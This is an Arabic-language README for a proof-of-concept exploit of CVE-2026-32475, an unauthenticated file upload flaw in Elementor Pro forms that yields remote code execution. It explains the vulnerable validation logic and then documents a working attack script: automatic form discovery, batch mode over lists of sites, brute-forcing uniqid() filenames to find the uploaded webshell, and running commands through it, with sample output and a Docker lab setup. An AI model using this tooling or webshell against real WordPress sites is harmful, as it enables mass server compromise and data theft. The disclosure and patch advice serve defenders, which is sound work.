
إثبات مفهوم لاستغلال CVE-2026-32475، وهو رفع ملفات تعسفي غير مصادق عليه في Elementor Pro يؤدي إلى تنفيذ أوامر عن بُعد. يتضمن اكتشافًا تلقائيًا، ورفعًا، وتنفيذ أوامر مع التنظيف.
إثبات مفهوم لـ CVE-2026-32475 (CVSS 9.0 حرج، CWE-434): رفع ملفات تعسفي غير مصادق في وحدة نماذج Elementor Pro يؤدي إلى تنفيذ كود عن بُعد. تم إصلاحه في Elementor Pro 4.2.2 (2026-08-19). تم الإبلاغ عنه بواسطة Tin Pham (TF1T) عبر برنامج مكافآت الثغرات Patchstack.
███████╗ █████╗ ██╗ ██╗ ███╗ ███╗ ███████╗ ███████╗ ██████╗
██╔════╝ ██╔══██╗ ██║ ██║ ████╗ ████║ ██╔════╝ ██╔════╝ ██╔════╝
███████╗ ███████║ ███████║ ██╔████╔██║ ███████╗ █████╗ ██║
╚════██║ ██╔══██║ ██╔══██║ ██║╚██╔╝██║ ╚════██║ ██╔══╝ ██║
███████║ ██║ ██║ ██║ ██║ ██║ ╚═╝ ██║ ███████║ ███████╗ ╚██████╗
╚══════╝ ╚═╝ ╚═╝ ╚═╝ ╚═╝ ╚═╝ ╚═╝ ╚══════╝ ╚══════╝ ╚═════╝
تم توفير إثبات المفهوم هذا لأغراض البحث الأمني المصرح به والتعليم والاختبار الدفاعي فقط.
يعالج حقل رفع الملفات في نماذج Elementor Pro الإدخالات المرفوعة في حلقتين منفصلتين بدلالات مختلفة (modules/forms/fields/upload.php):
// validation()
foreach ( $files[$id] as $index => $file ) {
if ( ! $field['required'] && UPLOAD_ERR_NO_FILE === $file['error'] ) {
return; // <-- ينهي الطريقة بأكملها
}
// is_file_type_valid() ... // لا يتم الوصول إليه أبدًا للإدخال #2
}
// process_field()
foreach ( $files[$id] as $index => $file ) {
if ( UPLOAD_ERR_NO_FILE === $file['error'] ) {
continue; // <-- يتخطى هذا الإدخال فقط
}
$filename = uniqid() . '.' . $file_extension; // امتداد يتحكم فيه المهاجم
move_uploaded_file( $file['tmp_name'], $new_file );
}
إرسال جزأين من الملفات لنفس حقل الرفع — جزء أول فارغ (filename="" → UPLOAD_ERR_NO_FILE) متبوعًا بحمولة .php — يجعل validation() يعود قبل أن تصل قائمة الحظر الخاصة بالامتدادات إلى الحمولة، بينما لا يزال process_field() ينقلها إلى wp-content/uploads/elementor/forms/<uniqid()>.php، وهو دليل ويب عام. طلب هذا الرابط مباشرة = تنفيذ كود عن بُعد.
يتم التعامل مع الرفع عبر POST /wp-admin/admin-ajax.php (action=elementor_pro_forms_send_form) بدون مصادقة وبدون nonce. تكون post_id وform_id واسم حقل الرفع مرئية في HTML الصفحة العامة، لذا فإن الهجوم بأكمله غير مصادق.
الهدف:
المهاجم:
هدف واحد (يكتشف تلقائيًا صفحة النموذج عبر sitemap/الصفحة الرئيسية):
python script.py --url https://target.example --command "id; hostname; uname -a" --cleanup
صفحة نموذج صريحة:
python script.py --url https://target.example --page-url https://target.example/contact/ --cleanup
وضع الدفعات (sites.txt: موقع واحد لكل سطر — base_url أو base_url page_url):
python script.py --list sites.txt --command "id" --cleanup --out results.json
تنسيق قائمة JSON:
[{"url": "https://a.example"}, {"url": "https://b.example", "page_url": "https://b.example/jobs/"}]
تنفيذ أمر على قشرة مرفوعة بالفعل:
python script.py --url https://target.example --shell-url https://target.example/wp-content/uploads/elementor/forms/<name>.php --command "id"
| Flag | الافتراضي | المعنى |
|---|---|---|
--url | - | عنوان URL الأساسي لهدف واحد |
--list | - | ملف قائمة وضع الدفعات |
--page-url | --url | الصفحة التي تحتوي على النموذج |
--command | id; hostname; uname -a | الأمر الذي سيتم تشغيله عبر القشرة |
--cleanup | off | حذف القشرة تلقائيًا بعد الاختبار |
--field k=v | - | تجاوز حقل نموذج معبأ تلقائيًا (قابل للتكرار) |
--tail | 0.3 | ثوانٍ قبل وقت الرفع المقدر للمسح الدقيق |
--step-fine | 1 | خطوة المسح الدقيق بالميكروثانية |
--full-second | off | فرض البحث الشامل لثانية uniqid الكاملة (يتغلب على انحراف الساعة) |
--attempts | 1 | محاولات الرفع+المسح (اسم ملف عشوائي جديد في كل مرة) |
--max-probes | 600000 | ميزانية طلبات المسح لكل محاولة |
--workers | 50 | خيوط المسح المتوازية |
--insecure | off | تجاهل أخطاء TLS (أهداف بشهادات ذاتية التوقيع) |
--out file.json | - | كتابة التقرير بصيغة JSON |
post_id وform_id واسم حقل الرفع وكل حقل نموذج آخر؛ يملأ تلقائيًا جميع الحقول بقيم معقولة بحيث تجتاز الحقول الإلزامية التحقق (تجاوز عبر --field).admin-ajax.php. ملاحظة: success:false مع كائن errors فارغ لا يزال يُعتبر مرفوعًا، لأن إجراء البريد الإلكتروني الافتراضي يرمي خطأً بعد نقل الملف عندما يفشل wp_mail(). فقط رفض حقل الرفع نفسه (نوع الملف غير مسموح به) يُعتبر محظورًا.uniqid() = 8 أرقام سداسية عشرية للثواني + 5 أرقام سداسية عشرية للميكروثواني. تأتي الثواني من رأس Date في الاستجابة؛ يتم تقدير الجزء الفرعي للثانية من (t1 - date_epoch) % 1 (دقيق عندما تكون ساعات المهاجم والخادم متقاربة). يقوم مسبار keep-alive (أسرع بحوالي 30 مرة من طلب واحد لكل اتصال) بمسح نافذة النقل بدقة ميكروثانية؛ --full-second يفرض البحث الشامل للثانية الكاملة عند انحراف الساعات.GET <shell>?c=<command> يشغل الأمر؛ --cleanup يحذف القشرة عبر ?x=1.| الحالة | المعنى |
|---|---|
vulnerable | تم رفع القشرة وتنفيذ الأمر — قم بالتحديث الآن |
blocked | تم رفض حقل الرفع (تم التحديث إلى 4.2.2+، حقل إلزامي، WAF، captcha) |
uploaded_no_exec | تم نقل الملف ولكن لم يتم استعادة اسم الملف (أعد المحاولة مع --full-second) |
no_form | لم يتم العثور على نموذج ضعيف على الهدف |
error | خطأ اتصال/شبكة |
docker-compose.yml + setup_form_page.php يعيدان إنتاج الهدف الضعيف:
docker compose up -d
docker compose run --rm wpcli wp core install \
--url=http://localhost:8090 --title="Lab" --skip-email \
--admin_user=admin --admin_password=admin123! [email protected]
docker compose run --rm wpcli wp plugin install elementor --activate
# ضع elementor-pro.zip الذي حصلت عليه قانونيًا (<= 4.2.1) في دليل المشروع، ثم:
docker compose exec wordpress bash -c "cd wp-content/plugins && unzip -o /var/www/html/elementor-pro.zip"
docker compose run --rm wpcli wp plugin activate elementor-pro
docker cp setup_form_page.php "$(docker compose ps -q wordpress)":/tmp/setup.php
docker compose exec wordpress php -r 'require "/var/www/html/wp-load.php"; include "/tmp/setup.php";'
python script.py --url http://localhost:8090 --command "id; hostname" --cleanup
[+] Shell located (attempt 1, stage=fine tail): http://localhost:8090/wp-content/uploads/elementor/forms/6a90b4fee658e.php
[*] Running command: uname -a
\nPWN\nLinux fcc317d0e442 6.18.33.2-microsoft-standard-WSL2 #1 SMP PREEMPT_DYNAMIC x86_64 GNU/Linux
[*] Cleaning up (deleting webshell)...
rm
قم بتحديث Elementor Pro إلى 4.2.2+. التحديث يسد الثغرة ولكنه لا يزيل القشريات التي تم رفعها بالفعل — قم بتدقيق wp-content/uploads/elementor/forms/ بحثًا عن ملفات .php غير مرغوب فيها.
للاستخدام في البحث الأمني المصرح به والمختبر فقط.